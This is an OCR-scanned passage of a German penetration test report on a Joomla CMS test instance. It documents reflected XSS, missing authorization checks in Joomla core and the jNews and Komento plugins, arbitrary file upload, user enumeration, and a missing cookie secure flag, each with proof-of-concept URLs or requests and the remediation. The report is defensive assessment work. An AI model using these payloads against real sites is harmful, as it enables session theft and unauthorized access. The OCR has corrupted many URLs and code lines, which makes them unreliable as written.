liber eine Suchfunktion ermittelt werden. Das Auslésen der Suchaktion {bertrigt die Parameter search und

type, welche beide unmaskiert im Response des Servers reflektiert werden und anfillig gegen Cross-Site-

Scripting sind (siche Abbildung 7). 2 '

Ein Angreifer ist durch dieses Verhalten in der Lage, einem Administrator bosartigen JavaScript Code

unterzuschieben und dessen aktuelle Sitzungsdaten zu entwenden. B

Proof of Concept - Parameter search:

https://deb~joomla-scenariod . cms2.local/index. php?
option=com_phocadownloadavi ew=phocadownload1inkfile&tmpl=component&e_name-l 337atype=3&nn
arch=1337%22%20cnfocus=422al ert%281377429%22%20autofocus=

%221337¢catid=0&limit=15 &limitstart=0&control1er=phocadownloadlinkfile&type=3 &task=sboxc
hecked=0tfilter order=a.ordering&filter order Dir=se_name=1337
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Proof of Concept - Parameter type:

https://deb-joomla-scenariod.cmsz. local/index.php? . " i i
optiop=com phocadownloadsview=phocadownloadlinkfile &tmpl=componentse_name=1337&type=3&se
arch=gcatid=0&1limit=15 &1imitstart=-0&c‘ontrollerf_phocadown'loadlinkfi’l’e&W}BB?%ZZ%ZO.GC‘
akey=AIINNIINZ0onclick=t2alartV20133TA290220 2001 tn e - '
\2:stask=eboxchecked=0sfilter order=

rderingsfilter _order_Dir=ge_name=1337

Screenshot:
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Abbildu;;g 7 Cro;s-Slte-Scripting im ‘Download-Bereich.

Risikofaktor: Schwer
6.14 Unzureichende Bereéhtigungsprﬁfung ;

Beschreibung:

Einem Benutzer der Anwendung sollte es nicht mdéglich seiﬁ, auferhalb seiner Zugriffsberechtigungen auf
Funktionen oder Informationen des Systems zugreifen zu kénnen. Dies ist dann der Fall, wenn eine
Funktion die erforderlichen Berechtigungen vor der Ausfiihrung nicht ordnungsgemaf iiberpriift.

Mafnahme:

Vor Ausfithrung einer Funktion muss diese sicherstellen, das der Aufrufer (in seinem jeweiligen Kontext),
die dafiir notwendige Berechtigung besitzt. Die Verwendung von Benutzerkonten und die Vergabe von
Session-IDs beim Login ist eine Méoglichkeit, ein solches Berechtigungskonzept umzusetzen. Vor
Austithrung einer Funktionalitit wird dann gepriift, ob eine giiltige Session-1D tibermittelt wurde. Von dort
ausgehend, kénnen weitergehende Einschrinkungen hinsichtlich der Vergabe von granularen
Berechtigungen vorgenommen werden.
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6141  Unzureichende Berechtigungspriifung in Artikelbearbeitung
Betroffenes Modul: Joomla Core
Ergebnié:

Im Joomla-Backend unter dem Mentfipunkt ,Content” > ,Articles® kénnen neue Artikel erstellt bzw.
bearbeitet werden. Zusitzlich kann fir die Artikel im ‘Bearbeitungsmodus unter dem Menupiinkt , Access”
der Zugriff auf Rollen wie ,Super Users" oder ,Registered" beschrinkt werden.

Offnet ein Benutzer mit der Rolle ;Redakteur” die Artikeliibersicht, sind die Artikel mit dem Zugriffsrecht
~Super Users" verborgen und diirfen nicht bearbeitet werden. Bei Aufruf eines Artikels wird iiber den GET-
Parameter id die Artikel-ID iibergeben. Andert ein Redakteur den Parameter id auf eine Artikel-ID mit

Zugriffsrecht ,Super Users, pritft die Anwendung keine Berechtigung, sodass der Benutzer den Artikel
aufrufen und bearbeiten kann. '

Proof of Concept:

I https://deb-joomla-scenariod.cms2. local/administrator/index. php?
|eption=com_contentstask=article.edit&id=x

Risikofaktor: Mittel

6.14.2  Unzureichende Berechtigungspriifung im Created by Attribut in
’ Artikelerstellung

Betroffenes Modul: Joomla Core

Ergebnis:

Im Joomla-Backend unter dem Meniipunkt ,Content" - ,Articles* - ,New* kénnen neue Artikel erstellt
werden. Erstellt ein Benutzer einen Artikel, ist unter dem Reiter ,Publishing” das Feld ,Created by
entsprechend gesperrt, damit automatisch der aktuelle Benutzer eingetragen wird. Beim Speichern des
Artikels wird ein HTTP-POST-Request gesendet, welcher den Parameter jform{created_by] enthilt und die
Benutzer-ID des erstellenden Benutzer iibergibt. Die Anwendung priift dabei nicht, ob es sich bei der

Benutzer-ID um den aktuellen Nutzer handelt, sodass bspw. ein Redakteur einen Artikel als Super User
einstellen kann. |

Dieses Verhalten resultiert aus der Tatsache, dass der entsprechende Redakteur keinen Zugriff auf die
Erweiterung com_users hat und daher keine Liste der Nutzer abrufen darf. Er darf jedoch zu jedem
Zeitpunkt das ,created by* Attribut verdndern, da es an dieser Stelle keine Rechtepriifung gibt.

Hierdurch ist es einem Angreifer zum Beispiel méglich, eine falsche Identitit vorzugeben, da Inhalte im
Namen anderer Nutzer ohne deren Wissen publiziert werden kénnen. Wird ein anderer Nutzer in das Feld

."Created by" eingetragen, sollte dieser dariiber benachrichtigt werden und entsprechend bestitigen bzw.
ablehnen kénnen.
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- Proof of Concept:

POST /administrator/index -php?option=com_contenté&layout=edit&id=16 HTTP/1.1
Host: deb-joomla-scenariod.cms2.local

[TRUNCATED]
Content-Length: 2348

jform 5Btitle SD=Pen fake Adminsjform-5Balias ‘5D=pen-fake-admin&jform SBarticletext SD=
%3Cp%3EPen_fake_ Admin :3C%2Fp33Eajform’5Bstate;5D=1&] form%S5Bcatid%5D=24jformi58featured
:5D=0&jform 5Baccess 5D=1&jform*5Blanguage 5D=*gjform 5Bversion note SP=gjform
"-zSBpublish~up-=;5D=2016-02—18+14%3A24‘L3A55&jform‘%SBpublish_down%5D=&jform%SBcr‘eated
%5D=2016-02-18+1423A24 430555} farmtilicran tad _by%SD=61l&jform SBereated by alias25D=

[TRUNCATED]

\

Risikofaktor: Leicht

6.143  Unzureichende Berechtigungspriifung in Plugin jNews
Betroffenes Modul: jNews

Ergebnis: -

Das Joomla-Plugin jNews implementiert eine fehlerhafte Berechtigungspriifung, die -es jedem
unauthentifizierten Benutzer erméglicht, Newslettereintrige von anderen Benutzern zu bestitigen,
abzubestellen, uvm.,

Dazu bendtigt der Angreifer lediglich die valide E-Mail-Adresse des Benutzers; in dessen Kontext er sich
bewegen méchte. Die E-Mail-Adresse muss mittels md5 gehashed und iiber den Parameter cle Gibertragen
werden (siche Proof of Concept). Zusitzlich benstigt der Angreifer Kenntnis iiber die subscriber1D, wobei es
sich lediglich um einen Zihler handelt, welcher schnell erraten werden kann.

Proof of Concept - Liste abmelden:

https://deb-joomla-scenariod.cms2.local/index.php?

option=com_jnews&Itemid=999&act=unsubscribe&subscrlber=3&mailingid=1&cle-d!ﬂﬁ‘.’;c_‘.noM‘.I.‘}n |
4361 801cllnBBda3r]

Proof of Concept - Angaben eines Benutzers:

https://deb—j comla-scenariod.cms2. 1ocal/component/jnews/change/suﬁgééi_ber-ﬂ/cle—
CaSIRAs450 702574762201 0615c152 Itenid=999

Vulnerable Code - jnews.php

$subscriber = 1ew stdClass;
S$userId = $my->id; |
$validated = false;

Smy = Jf‘actory: igetUser (} ; ‘
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//we get the subscriber Info
Squdf0] = $sibscriberId;
L1 | SsubscriberId > 0 ){
$aubscriber = jNews_Subscribers: tgetSubscribersFromId($qid, false);

1f | $subscriberId>0 && l!empty(Scle) && SuserId<l) |
LT (md5 {$subscribar->email)==Scle) {
SuserId = $subscriberlId;
$validated = true;

} mlne |
echo jnews::printM('red®' , _NOT_AUTH) ;
$subscriberId = 0;
|
|
Screenshot:
S— — i -
a ) .
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Open Source Content
Management
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Tite reasiieren S vor b e

im vte stconaren then .

6 Secaund yo? Bapte: e
- e g drak
EnaNaga RS fpe Ty
[r—— 0l 1

. s Coie 8 71 Lognsia aathanugg prverse by Jast
Abbitdung 8: Einsicht von Angaben des Benutzers ohne valide Sitzung.

Risikofaktor: Mittel
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6144  Unzureichende Berechtigungspriifung in Plugin Komento in der Email-
Subscribe-Funktion -

Betroffenes Modul: Komento

‘Ergebnis;

Unauthentifizierte Benutzer kdnnen sich iiber die Subscribe-Funktion des Plugins Komento iiber neue
Kommentare via E-Mail informieren lassen. Wird der Button ,.Subscribe with Email” bestiitigt, tbertrigt der
Browser Giber den Paramter cid die entsprechende Artikel-ID, wobei nicht gepriift wird, ob es sich um einen
internen Artikel handelt. Somit ist es {iber die Manipulation des cid-Parameters mdglich, sich Kommentare
von interhen Artikeln zusenden zu lassen, obwohl dazu keine Berechtigung besteht (siche Abbildung 9).

Proof of Concept - Liste abmelden:

POST /20ption=com_komento HITE/1.1
Host: deb-joomla~scenariod.cms2.local

[ TRUNCATED |

Connection: close

tmpl=component&format=ajaxénc_html=1gname=mawn_intern_no_auth&email=mawn
%2Bintern no_auth%4Omms~

dresden. de&component=l:om_wcontent& cidsd&option=com_komentosnamespace=site.views.komento.s
ubscribeguestasbe87addb2df241364a197da215e2c08b=1

Screenshot:

# Wean Problzme mit dheser! ', Kiicken Sie hier, um se im Wabbrowser antuzeigen

Kiicken Sie Her, um Bider herunterauisden. Lim den Datenschutz 1u emdhen, hat Dultaak den sutomatischen Downdoad von Bdetn In diessr Mashricht verhindert,
von: Geseadet 0109022016 1430
An [— mm.m_mmm,a_] 3
(<3
Betrett: & new comment is posted intermer Ariikel

Good day mawn_intern_no_szuth,

A new comment is posted on:
Interner Apviad

Below {s 2 snipper from the comment that has been posted.

[#lje

pentest_red - *eteq on Dienstol) Fet © 2516 2.28:01pn
Only reatahte for intern Users?

Abbildung 9: Email mit internem Kommentar an invaliden Account.
Risikofaktor: Mittel
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6.1.45  Unzureichende Berechtigungspriifung in Plugin Komento in der Email-
Unsubscribe-Funktion

Betroffenes Modul: Komento

Ergebnis:

Das Joomla-Plugin Komento verfigt iiber eine ,Subscribe”-Funktion, sodass sich Benutzer lber das
Einstellen von Kommentaren per E-Mail informieren lassen kénnen. Uber einen Abmeldelink kann der
Benutzer sich von der Liste der Subscriber entfernen lassen, wobei der Identifikationstoken einen einfachen
Integer (beginnend bei 1) darstellt, bei dem es sich um die ID des Benutzers in der Datenbank handelt. Eine
weitere Priifung der Authentizitit.der Abmeldung wird hicht abgefragt, sodass ein Angreifer automatisiert
alle Subscriber von der Liste entfernen kann. .

Proof of Concept:

|https: //deb-joomla~scenariod.cms2 . local/index.php?
option=com komentoatask=unsubscribes:d=x

Risikofaktor: Leicht

6.14.6  Unzureichende Berechtigungspriifung in Plugin Kémento in
Administrationsprozessen

Betroffenes Modul: Komento

Ergebnis:

Das Joomla-Plugin Komento verfiigt {iber die beiden rechenaufwendigen Prozesse ,Email Batch® und
»ClearCaptcha“, wobei es sich um Funktonen handelt, welche ohne Authentifizierung iiber die URL
aufrufbar sind (siche Proof of Concept). Ein Angreifer kann dieses Verhalten nutzen, um diese Prozesse
unberechtigt aufzurufen und folglich die GPU-Last auf dem System zu erhéhen und potentiell einen Denial
of Service zu erzeugen.

Proof of Concept:

[h_ttps: //deb-joomla-scenariod .cms2. local/index. php?option=com_komentoatask=cron&total=4

|.https ://deb-joomla-scenariod.cms2. local/index.php?option=cum_komento&task=clearCaptcha

Risikofaktor: Leicht

6.1.5 Willkiirlicher Dateiupload in Phoca Déwnload

Beschreibung:

Dateien, die vom Benutzer hochgeladen werden kénnen, miissen als nicht vertrauenswiirdig eingestuft
werden. Aktiver Code oder Malware in hochgeladenen Dateien gefihrdet die Anwendung und/oder andere
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Benutzer, die diese Dateien 6ffnen oder herunterladen. Durch eine angemessene Transkodierung bzw.
Analyse sollte ggf. Malware aus der Datei entfernt werden.

Betroffenes Modul: Phoca Download

Ergebnis:

Als angemeldeter Backend-Benutzer ist es moglich, unter dem Menfipunkt ,Components” - ,Phoca
Download* > ,Files" mittels des Plugins ,Phoca Download" Media-Dateien hochzuladen, Wird ein neues File
angelegt, kann der Benutzer beliebigen Code hochladen, welcher im Verzeichnis /var/www/deb~hardened—
Jjoomla/htdocs/phocadownload/ abgelegt wird (siche Abbildung 10).

Aktuell konnte durch Hirtungsmafnahmen des Apache Webservers keine Ausfithrung deés Codes
erzwungen werden, sodass das Risiko als Leicht bewertet wurde. Es ist nicht auszuschliefien, dass durch ein
weiteres Plugin der Code doch noch zur Ausfithrung gebracht werden kann. -

Screenshot:

=
Abbildung 10: Upload von PHP-Dateien iiber das Plugin Phoca Download.
Mafinahme:

Magliche Mafinahmen hierzu sind:
* Die Grofe iibertragener Dateien wird begrenzt.
* Die Anzahl der von einem Benutzer {ibertragenen Dateien wird begrenzt.

* Die Dateien werden als Datenbank-BLOB anstatt im Dateisystem gespeichert; falls die Dateien im
Dateisystem gespeichert werden, wird das Dateisystem hinsichtlich der Berechtigungen gehirtet.

* Die Dateien werden auf Malware durchsucht oder alternativ (bei Bildern, Videodateien und
Audiodateien) transkodiert,

*  Archivdateien werden auf Malware und ZIP-Bomben analysiert.

*  Die Dateinamen werden validiert, dh. auf korrekte Datejendung, integrierte Pfadinformationen
und aktiven Code tiberpriift, insbesondere auf JavaScript im Dateinamen.
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* Das Format hochgeladener Datejen wird validiert, d. h. das Format muss mit der Dateiendung
iibereinstimmen, akzeptiert werden (z. B. werden in einer Fotogalerie nur Bildformate akzeptiert)
und giiltig sein (das Format entspricht der Spezifikation),

Beim Aufruf von nicht veljtfauenswﬁrdigen Dateien (d. h. insb, von durch andere Benutzer zur
Verfiigung gestellten Dateien) durch Benutzer wird der Content-Disposition-Header auf
»attachment” sowie explizit der Parameter , filename" gesetat. '

* Der Wert ,attachment” im Content-Disposition-Header wiederum verhindert, dass Dateien
automatisch inline im Browser dargestellt werden, stattdessen gibt der Browser danm eine
Download-Meldung aus. Hiermit kann beispielsweise die Ausfihrung von XSS in pdf-Dateien
verhindert werden.

Risikofaktor: Leicht
6.1.6 User Enumeration

Beschreibung:

Ziel der User Enumeration ist das Sémineln von validen Benutzerdaten, welche fiir die Anmeldung benatigt
werden und einen ersten Schritt zur Ubernahme von Benutzerkonten darstellen. Dies kann beispielsweise

automatisiert (Brute Force) durch eindeutige Fehlermeldungen bei Registrierung und Anmeldung realisiert
werden, : .

Mafinahme:

Fehlermeldungen bei Registrierung und ,Passwort-vergessen“-Funktion diirfen nicht auf vorhandene
Benutzerkonten schlieRen lassen. Bei der Registrierungsfunktion sollte bspw. keine Fehlermeldung erzeugt
und der Benutzer via E-Mail dariiber informiert werden, dass fiber seine E-Mail Adresse versucht wurde,
sich an der Anwendung zu registrieren. Im Falle der »~Passwort-vergessen"-Funktion sollte die Meldung
~Passwort versendet" trotz der nicht vorhandenen E-Mail-Adresse erscheinen.
Bei sogenannten ,Side Channel“-Attacken sollte eine zusitzliche Funktion implementiert werden, welche
bspw. 1 Sekunde wartet, bevor der Response mit der Antwort iber Erfolg oder Misserfolg der
Authentifizierung abgesendet wird.

Dariiber hinaus sollte wénigstens ein personliches Merkmal verifizieren, dass die ,Passwort vergessen“-
Funktion nicht durch Brute Force missbraucht wird. Weitere Informationen sind unter der folgenden URL
verfligbar: https://www.owasp.org/index php/Forgot_Password_Cheat_Sheet.

6.1.6.1  User Enumeration in der Anmeldemaske durch Side Channel Attacke

Betroffenes Modul: Joomla Gore

Ergebnis:

Die Anmeldemaske des internen Bereichs von Joomla ist anfillig gegeniiber Timing Attacken, sodass valide

Benutzer des Systems ausgelesen werden kénnen. Die' Anwendung reagiert mit unterschiedlichen -

Antwortzeiten, wenn in der Authentifizierungsanfrage ein im System bekannter bzw. unbekannter
Benutzername verwendet wird: :
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Anmeldeversuch mit unbekanntem Benutzernamen / unbekanntem Passwort bendtigt 90 - 100
Millisekunden (siehe Abbildung 11).

Anmeldeversuch mit bekanntem Benutzernamen / unbekanntem Passwort bendtigt ca. 250
Millisekunden (siehe Abbildung 12).

Das Verhalten fiihrt dazu, dass ein Angreifer potentiell valide Benutzernamen erraten kann. Zusatzlich muss
beachtet werden, dass das Ergebnis unter optimalen Bedienungen der Netzinfrastruktur erzeugt wurde,

sodass Unterschiede bei der Validierung des Ergebnisses im ffentlichen Netz einer Joomla-Instanz méglich
sind.

Screenshots:
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Abbildung 11: Anmeldung am internen Bereich ohne validem Benutzernamen
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Abl;ildung 12: Anmeldur-lg am internen Bereich mit validem Benutzernamen
Risikofaktor: Mittel

6.1.6.2 = User Enumeration in ,,Passwort vergessen?”- und ,,Benutzername vergessen?“-
Funktionen .

Betroffenes Modul: Joomla Core
Ergebnis:

Die ,Passwort vergessen?“- und ,Benutzername vergessen?“-Funktionen der Anmeldemaske des internen
Bereichs von Joomla sind anfillig gegeniiber User-Enumeration-Attacken, sodass valide Benutzerkonten
des Systems ausgelesen werden kénnen. Die Anwendung reagiert mit unterschiedlichen Fehlermeldungen,
wenn bekannte bzw. nicht vorhandene Benutzernamen verwendet werden. Wird ein unbekannter
Benutzername iibergeben, antwortet Joomla mit der Meldung ,, Zuriicksetzen des Passworts fehlgeschlagen:
Ungiiltige E-Mail-Adresse.” bzw. ,Benutzer nicht gefunden.” Das Verhalten fithrt dazu, dass-ein Angrejfer
potentiell valide Benutzerkonten erraten kann.

Screenshot:
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Abbildung 13: User Enumeration in “Benutzername vergessen?*-Funktion.
Risikofaktor: Leicht

6.1.7 Information Disclosure durch Joomla-Plugins

Beschreibung:

Informationen tber die eingesetzte Software kénnten Aufschluss iiber Sicherheitsschwachstellen geben.
Deshalb diirfen bspw. Fehlerseiten keine Versionsinformationen des eingesetzten Softwareprodukts geben.
Fehlermeldungen diirfen keine internen Informationen, wie z. B. interne Servernamen, Versionsnurnmern,
Fehlercodes usw. enthalten, -

Betroffenes Modul: Komento, jNews, Phoca Download
Ergebnis:

Verschiedene Joomla-Plugins verraten ihren Namen und ihre Versionsnummer im Frontend der Joomla
Instanz. Diese sensiblen Daten kénnen von Angreifern genutzi werden, um bekannte Schwachstellen in
Software auszunutzen oder via Google Search oder Shodan direkt zu identifizieren.

Screenshot:
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Abbildung 14: Informationspreisgabe des jNews Plugins.
Risikofaktor: Leicht

Mafinahme:
Namen und Versionsnummern der Joomla-Plugins im Frontend sollten entfernt werden.

6.18  Fehlendes HTTP-Secure-Flag im Joomla-Frontend

Beschreibung:
Das Attribut ,secure” verhindert, dass Cookies unverschliisselt per HTTP versendet werden. Dies kénnte
geschehen zum einen durch (ggf. versehentlich) unverschliisselte Inhalte einer Webanwendung, zum

anderen aber auch durch aktive Angriffe, z. B. durch Injizierung oder Priisentation unverschliisselter Links
bzw. Referenzen, aufgrund derer der Browser die Session-1D unverschlﬁsselt versenden wiirde,

Betroffenes Modul: Joomla Core

Ergebnis:

Das Frontend von Joomla ist zwar iiber HTTPS erreichbar, setzt allerdings kein secure-Flag in den Cookies
(siche Abbildung 15), sodass ein Man-in-the-Middle-Angreifer potentiell die Sessiondaten eines Opfers
auslesen und entwenden kann,

Screenshot:
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Abbildung 15: Fehlendes secure-Flag in den Session Cookies.
Risikofaktor: Leicht

Mafinahme:

Das Cookie-Flag ,secure” muss gesetzt werden, wenn ein neues Session-Cookie erzeugt wird.
6.2 = Betriebssystem

6.2.1 Zusammenfassung

Es wurden wenige Fehler bzw. weitere Hartungsmafinahmen auf der Ebene des Betriebssystems gefunden,
welche in einer separaten Dokument [4] beschrieben werden, da diese nicht nur auf Joomla zutreffen.

6.3  Webserver

6.3.1. Zusammenfassung

Es wurden wenige Fehler bzw. weitere Hirtungsmafinahmen auf der Ebene des Webservers gefunden,
welche in einem separaten Dokument [4] beschrieben werden, da diese nicht nur auf Joomla zutreffen,

6.4 Datenbank

6.4.1 Zusammenfassung

Es wurden wenige Fehler bzw. weitere Hirtungsmafinahmen auf der Ebene der Datenbank gefunden,
welche in einem separaten Dokument [4] beschrieben werden, da diese nicht nur auf Joomla zutreffen.
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Anhang: Bewertungskriterien der Schwere der
Testergebnisse

Risikofaktor ,Hinweis”

—_—

Beschreibung I
Klassifikation | Keine Schwachstelle oder Schwachstelle ohne Risiko. |
Korrektur Korrektur nicht notwendig. |
Auswirkung Kein Schaden fiir System oder Anwendung.
Wahrscheinlichkeit Nicht relevant.
- Wissen des Angreifers Nicht relevant,
Benutzerinteraktion | Nicht relevant.
Risikofaktor ,Leicht”
Beséhreibung |
Klassifikation Schwachstelle selbst stellt keine signifikante Gefahr fir System oder I
Anwendung dar. Schwachstelle bietet einem Angreifer neue Information
| filr weitere Angriffe.
| Die Kombination verschiedener Schwachstellen mit Risikofaktor ,Leicht”
| kénnte zu einem héheren Risiko fithren,
Korrektur Korrektur wird empfohlen.
‘ Auswirkung Kein direkter Schaden fiir Systern oder Anwendung.
In Kombination mit anderen Schwachstellen ist ein Schaden méglich.
Wahrscheinlichkeit Kein Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann nur theoretisch ausgenutzt werden.
Wissen des Angreifers Angriff erfordert erheblichen Aufwand und erhebliches Wissen.
‘ Benutzerinteraktion Abhingig von der Art der Schwachstelle ist eine hohe Benutzerinteraktion
notwendig (z.B.: Sacial Engineering, Spam), um dem Angreifer eine
| Méglichkeit zumn Ausnutzen der Schwachstelle zu bieten.
Risikofaktor ,Mittel”
Beschreibung
Klassifikation Schwachstelle stellt ein mittleres Risiko fir System oder Anwendung dar.
Die Schwachstelle selbst reicht nicht aus, um das System zu {ibernehmen,
kann jedoch Teil eines erfolgreichen Angriffes sein.
Korrektur Korrektur wird dringend empfohlen.
Auswirkung Begrenzter direkter Schaden fiir System oder Anwendung.
Wahrscheinlichkeit Kein Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann ausgenutzt werden.
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| Beschreibung
|  Wissen des Angreifers Angriff erfordert hohen Aufwand und hohes Wissen.

Benutzerinteraktion Abhiingig von der Art der Schwachstelle ist eine unachtsame -

Benutzerinteraktion notwendig (z.B. Ignorieren von Fehlermeldungen),
um dem Angreifer eine Mdglichkeit zum Ausnutzen der Schwachstelle zu
bieten,

Risikofaktor ,Schwer”

Beschreibung
Klassifikation Schwachstelle stellt ein hohes Risiko fiir System oder Anwendung dar.
Die Schwachstelle reicht aus, um Teile des Systems zu ubemehmen
Korrektur Korrektur ist notwendig.
Auswirkung Hoher direkter Schaden fiir System oder Anwendung.
Wahrscheinlichkeit - |Exploit oder Proof-of-Concept vorhanden.
' Schwachstelle kann ausgenutzt werden.
Exploit kann durch Benutzerinteraktion repliziert werden.
Wissen des Angreifers Angriff erfordert geringen Aufwand und geringes Wissen.
Benutzerinteraktion Aktive Interaktion des Benutzers ist nicht erforderlich.

Risikofaktor ,Sehr schwer”

Beschreibung 2
Klassifikation ! Schwachstel]e stellt ein kritisches Risiko fiir Systern oder Anwendung dar. |
Die Schwachstelle reicht aus, um das gesamte Systems zu iibernehmen.
Korrektur Korrektur ist unbedingt notwendig.
Auswirkung - Direkter kritischer Schaden fiir System oder Anwendung.
Wahrscheinlichkeit Exploit oder Proof-of-Concept vorhanden.
Schwachstelle kann ausgenutzt werden.
Exploit repliziert sich automatisch ohne Benutzermteraktlon
Wissen des Angreifers Angriff erfordert geringen Aufwand und geringes Wissen.
Benutzerinteraktion Benutzer kann sich nicht selbst schiitzen. |
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Sicherheitstest des Content-Mana sement-Systems Joomla! Stichwort- und Abkirzungsverzeichnis

Literaturverzeichnis Stichwort- und Abkiirzungsverzeichnis

(1] Studie,Sicherheitsuntersuchung von Content-Management-Systernen®, Stand 22.12.2015 Begriff , | Beschreibung ]
2] Bundesamt fiir Sicherheit in der Informationstechnik, Durchfithrungskonzept fiir I Completely Automated Public Turing test totell | Test zur Unterscheidung von Computern und |
Penet;:/stlonstestst; e e e e AT / y | Computers and Humans Apart (CAPTCHA) Menschen. ’ .
https://www bsibund.de/SharedDocs/Downloads/DE/BSI/Publikationen Studien/Penetrationstest =
/penetrationstest_pdf.pdf?_ blob=publicationFile, Stand November 2003 - Content-Management-System (CMS) ‘S;;:S;;::;: li:; Erstellung und Pflege von
[3] Joomla! Documentation, Secure coding guidelines, ' . : = : p " X
https://docs joomla.org/Secure_cading_guidelines, Stand 15. Februar 2016, Abruf 23. Februar 2016 Cross-Site Request Forgery (CSRF) Angriff HARTY u.rxer\'vunschten Durchfithrung einer
Transaktion in einer Webanwendung.
[4] T-Systems Multimedia Solutions GmbH, Testbericht: Sicherheitstest iibergreifender Komponenten : e = N " = e
im Rahmen des Tests von Content-Management-Systemen, Version 3.0, Stand 14.04.2016 Denial-of Semce {Dos) Angriff zur Emschr:ankun.g der Verfugbarkext [EHICE
Anwendung oder eines Dienstes. -
Proof of Concept (PoC) Machbarkeitsnachweis. -
Structured Query Language (SQL) Abfragesprache fiir relationale Datenbanken.
Test and Integration Center (TIC) Akkreditiertes Priiflaboratorium der T-Systems
Multimedia Solutions GmbH.
Cross-Site-Scripting (XSS) Sicherheitsliicke in Webanwendungen zum
Einfiigen von Informationen aus einem Kontext, in

dem sie nicht vertrauenswiirdig sind, in einen
anderen Kentext, in dem sie als vertrauenswiirdig-
eingestuft werden.
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